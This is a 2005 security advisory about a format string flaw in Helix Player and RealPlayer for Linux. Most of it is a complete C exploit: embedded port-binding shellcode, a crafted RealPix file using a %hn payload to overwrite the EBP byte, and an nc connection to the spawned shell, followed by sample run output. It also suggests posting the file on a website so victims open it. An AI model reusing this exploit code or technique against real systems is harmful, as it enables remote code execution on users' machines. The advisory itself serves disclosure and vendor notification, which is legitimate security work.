[NEWS] HelixPlayer Based Players Format String

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Date: 27 Sep 2005 15:16:41 +0200

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  HelixPlayer Based Players Format String
------------------------------------------------------------------------

SUMMARY

"The <https://player.helixcommunity.org/> Helix Player is an open source
media player for Linux, Solaris (versions for other operating systems are
under development) and Symbian." " <http://www.real.com/> RealPlayer 10
for Linux is based on the open source Helix player."

HelixPlayer based players are vulnerable to format string attack which in
turn allows attackers to execute arbitrary code on the system running the
player.

DETAILS

Vulnerable Systems:
 * Helix Player 1.0.5 and prior

A format string vulnerability exists in Helix Media Player suit that allow
an attacker the possibility to execute malicious code on a victims
computer.

The bug is exploitable by abusing media, including .rp (relpix)and .rt
(realtext) file formats.

Almost all media file input is placed on the heap, so it's not possible to
just pop our way to a supplied string like with a normal stack based
format bug, as such the attacker can't modify directly GOT, DTORS flags,
leaving limited to what the attacker can do.

There are several places where attackers can control the flow of
execution:
popN - call *0x04(eax) - eax is controlled
popN+N - call *0x20(eax) - eax is controlled
popN+NN - call *0x100(edx) - edx is controlled
popN+NNN - ebp - ebp is controlled
popN+NNNN - eip - eip is controlled
...

However since attackers are limited to the size of the value that can be
written, it doesn't seem possible to point at a known good location
directly. An attacker's shellcode is always mapped via the .rp file
between 0x0822** - 0x082f** and with control of one pointer at a time
usually, the attackers can not reach LSB.

The file being played is under my control and only the MSB needs
overwritten. This solves the problem with the size of the value an
attacker can write. It is possible to modify the MSB of an EBP that is
reachable, eventually leading to EIP pointing at some good location after
"mov %ebp,%esp" happens, resulting in the execution of our shellcode.

Proof of Concept:
 1. Create a file with shellcode address `printf "\x37\x13\x12\x08"`.rp
 2. Overwrite EBP MSB with the address of the file location on the stack
 3. EBP is moved to ESP
 4. EIP is changed to ESP value
 5. EIP is owned, shell is spawned

Window 1:
  c0ntex@debauch:~$ netstat -an --ip
  Active Internet connections (servers and established)
  Proto Recv-Q Send-Q Local Address Foreign Address
State
  tcp 0 0 0.0.0.0:22 0.0.0.0:*
LISTEN
  tcp 0 0 127.0.0.1:25 0.0.0.0:*
LISTEN
  tcp 0 0 192.168.88.133:22 192.168.88.1:2080
ESTABLISHED
  udp 0 0 0.0.0.0:68 0.0.0.0:*
  c0ntex@debauch:~$ ./helix4real

Exploit:
/*
  *************************************************
  $ An open security advisory #13 - RealPlayer and Helix Player Remote
Format String Exploit
  *************************************************
  1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com
  2: Bug Released: September 26th 2005
  3: Bug Impact Rate: Hi
  4: Bug Scope Rate: Remote
  *************************************************
  $ This advisory and/or proof of concept code must not be used for
commercial gain.
  *************************************************

  UNIX RealPlayer && Helix Player
  http://real.com
  http://helixcommunity.org

  "The Helix Player is the Helix Community's open source media player for
consumers. It is being developed to have a rich and usable graphical
interface and support a variety of open media formats like Ogg Vorbis,
Theora etc.
The RealPlayer for Linux is built on top of the Helix Player for Linux and
includes support for several non-open source components including
RealAudio/RealVideo, MP3 etc."

  There is a remotly exploitable format string vulnerability in the latest
Helix Media Player suit that will allow an attacker the possibility to
execute malicious code on a victims computer. The exploit code will
execute a remote shell under the permissions of the user running the media
player, and effects all versions of RealPlayer and Helix Player.

  The bug is exploitable by abusing media, including .rp (relpix)and .rt
(realtext) file formats. Although others may be effected I stick to
realpix file format for this advisory.

  Almost all media file input is placed on the heap, so it's not possible
to just pop our way to a supplied string like with a normal stack based
format bug, as such we can't directly modify GOT, DTORS, etc. leaving us
limited to what we can do.

  There are several places where we can control the flow of execution:

       popN - call *0x04(eax) - eax is controlled
       popN+N - call *0x20(eax) - eax is controlled
       popN+NN - call *0x100(edx) - edx is controlled
       popN+NNN - ebp - ebp is controlled
       popN+NNNN - eip - eip is controlled
       ....

  however since we are limited to the size of the value that can be
written, it doesn't seem possible to point at a known good location
directly. Since our shellcode is always mapped via the .rp file between
0x0822** - 0x082f** and with control of one pointer at a time usually, we
can not reach the LSB, we are toast.

  In a phrack paper, Riq talks about using sections of the base pointer to
create a 4 byte pointer by chaining EBP like so:

  [Frame 10 EBP]--points to-->[Frame 11 EBP]--points to-->[Frame 12 EBP]

  And can be manipulated something like so:

  -------- -------- --------
  Frame 10 Frame 11 Frame 12
  -------- -------- --------
                1|------------\/
  [LSBMSB] [LSBMSB]-- [41414141]
      2|____________^ 3|__________^

  Well, it doesn't work :-( ..ebp gets moved to esp in frame 11 and it
ends with EIP pointing at 0x00000000.

  So what else can I do?

  How about use the fact the file being played is under my control and
only the MSB needs overwritten. This solves the problem with the size of
the valaue I can write. It is possible to modify the MSB of an EBP that is
reachable, eventually leading to EIP pointing at some good location after
"mov %ebp,%esp" happens, resulting in the execution of our shellcode.

        1-> Create a file with shellcode address `printf
"\x37\x13\x12\x08"`.rp
        2-> Overwrite EBP MSB with the address of the file location on the
stack
        3-> EBP is moved to ESP
        4-> EIP is changed to ESP value
        5-> EIP is owned, shell is spawned

  Granted this is not a stable method as the user can freely manipulate
their environment, and we use the file name, which is stored in an
environment variable to trampoline us to the shellcode. However my goal
here is not to create a worm but a proof-of-concept :p

  The supplied POC should work flawlessly on Debian 3.1, with RealPlayer
installed in /usr/local/RealPlayer and run as shown below.

  Sample local run:

  Test System: Debian 3.1 against RealPlayer10.0.5.756 Gold

  Window 1:
  ---------
  c0ntex@debauch:~$ netstat -an --ip
  Active Internet connections (servers and established)
  Proto Recv-Q Send-Q Local Address Foreign Address
State
  tcp 0 0 0.0.0.0:22 0.0.0.0:*
LISTEN
  tcp 0 0 127.0.0.1:25 0.0.0.0:*
LISTEN
  tcp 0 0 192.168.88.133:22 192.168.88.1:2080
ESTABLISHED
  udp 0 0 0.0.0.0:68 0.0.0.0:*
  c0ntex@debauch:~$ ./helix4real

  Remote format string exploit POC for UNIX RealPlayer && HelixPlayer
  Code tested on Debian 3.1 against RealPlayer 10 Gold's latest version
  by c0ntex || c0ntexb@gmail.com || http://www.open-security.org

  [-] Creating file [VY~ .rp]
  [-] Using [148] stack pops
  [-] Modifying EBP MSB with value [64105]
  [-] Completed creation of test file!
  [-] Executing RealPlayer now...
  [-] Connecting to shell in 10 seconds
  * YOU MIGHT HAVE TO HIT RETURN ON REALPLAYER WINDOW *

  (realplay.bin:22202): Pango-WARNING *: Invalid UTF-8 string passed to
pango_layout_set_text()

  (realplay.bin:22202): Pango-WARNING *: Invalid UTF-8 string passed to
pango_layout_set_text()

  ps -ef | tail -12;
  ...
  c0ntex 1631 1624 0 01:10 pts/2 00:00:00 /bin/sh
/usr/bin/realplay ./VYF&(?.rp
  c0ntex 1636 1631 4 01:10 pts/2 00:00:02 /bin//sh
  c0ntex 1637 1636 0 01:10 pts/2 00:00:00 ? f ? ?\
   ? ? .rp
  c0ntex 1638 1637 0 01:10 pts/2 00:00:00 ? f ? ?\
   ? ? .rp
  c0ntex 1639 1636 0 01:10 pts/2 00:00:00
/usr/local/RealPlayer/realplay.bin ./VYF&(?.rp
  c0ntex 1640 1636 0 01:10 pts/2 00:00:00
/usr/local/RealPlayer/realplay.bin ./VYF&(?.rp
  c0ntex 1641 1637 0 01:10 pts/2 00:00:00 ? f ? ?\
   ? ? .rp
  c0ntex 1642 1637 0 01:10 pts/2 00:00:00 ? f ? ?\
   ? ? .rp
  c0ntex 1643 1637 0 01:10 pts/2 00:00:00 ? f ? ?\
   ? ? .rp
  ...

  To exploit this remotly, a user just needs to place the created file on
a web site and provide a link so users can click the file, launching
RealPlayer and exploiting the vulnerability.

  Real have been duely informed about this issue and are fixing. Sadly
though, it seems someone is trying to pinch my research, as such I have
been forced to release this advisory sooner than hoped. Until Real get a
new release out, do not play untrusted media with RealPlayer or
HelixPlayer. Sorry Real.com!

  Moral of the story, don't talk about personal research on IRC. Thank you
plagiarizers.

  PS: A new RSS feed for the latest 5 Open Security Group Advisories, @
http://www.open-security.org/adv.xml is now available.

 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFFER 10000
#define EBPMSB 64105
#define HOST "localhost"
#define NETCAT "/bin/nc"
#define NOPS 0x90
#define STACKPOP 148
#define VULN "/usr/local/RealPlayer/realplay"

char filename[]="\x56\x59\x14\x82\x26\x08\x2e\x72\x70";

/* metasploit port binding shellcode = 4444 */
char hellcode[]="\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66"
                "\x58\x99\x89\xe1\xcd\x80\x96\x43\x52"
                "\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a"
                "\x66\x58\x50\x51\x56\x89\xe1\xcd\x80"
                "\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56"
                "\x43\x89\xe1\xb0\x66\xcd\x80\x93\x6a"
                "\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9"
                "\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68"
                "\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89"
                "\xe1\xcd\x80";

int
filegen(char *shellcode)
{
     FILE *rp;

     printf("[-] Creating file [%s]\n", filename);

     rp = fopen(filename, "w");
     if(!rp) {
           puts("[!] Could not fopen file!");
           free(shellcode);
           return(EXIT_FAILURE);
     }

     printf("[-] Using [%d] stack pops\n[-] Modifying EBP MSB with value
[%d]\n", STACKPOP, EBPMSB);

     fprintf(rp,
                     "<imfl>\n"
                     "<head\n"
                     "duration=\"1:33.7\"\n"
                     "timeformat=\"dd:hh:mm:ss.xyz\"\n"
                     "preroll=\"1:33.7\"\n"
                     "bitrate=\"1337\"\n"
                     "width=\"69\"\n"
                     "height=\"69\"\n"
                     "aspect=\"\"\n"
                     "url=\"http://www.open-security.org\"/>\n"
                     "<image handle=\"%%.%du%%%d$hn\"
name=\"findme%s\"/>\n"
                     "<fadein start=\"0\" duration=\"0:01\"
target=\"2\"/>\n"
                     "</imfl>", EBPMSB, STACKPOP, shellcode);
      fclose(rp);

      free(shellcode); shellcode = NULL;

      return(EXIT_SUCCESS);
}

int
main(int argc, char *argv)
{
     char *shellcode = NULL;

     puts("\nRemote format string exploit POC for UNIX RealPlayer &&
HelixPlayer");
     puts("Code tested on Debian 3.1 against RealPlayer 10 Gold's latest
version");
     puts("by c0ntex || c0ntexb@gmail.com ||
http://www.open-security.org\n");

     shellcode = (char *)malloc(BUFFER);
     if(!shellcode) {
           puts("[!] Could not malloc");
           return(EXIT_FAILURE);
     }

     memset(shellcode, NOPS, BUFFER);
     memcpy(&shellcode[BUFFER-strlen(hellcode)], hellcode,
strlen(hellcode));
     shellcode[BUFFER] = '\0';

     filegen(shellcode);

     puts("[-] Completed creation of test file!\n[-] Executing RealPlayer
now...");

     switch(fork()) {
            case -1:
                    puts("[!] Could not fork off, bailing!");
                    return(EXIT_FAILURE);
            case 0:
                    if(execl(VULN, "realplay", filename, NULL) <0) {
                            puts("[!] Could not execute realplayer...
:(");
                            return(EXIT_FAILURE);
                    }
     }

     puts("[-] Connecting to shell in 10 seconds\n* YOU MIGHT HAVE TO HIT
RETURN ON REALPLAYER WINDOW *");
     sleep(10);

     if(execl(NETCAT, "nc", HOST, "4444", NULL) <0) {
            puts("[!] Could not connect, check the core file!");
            return(EXIT_FAILURE);
     }

     return(EXIT_SUCCESS);
}

/* EoF */

ADDITIONAL INFORMATION

The information has been provided by <mailto:c0ntexb@gmail.com> c0ntex .

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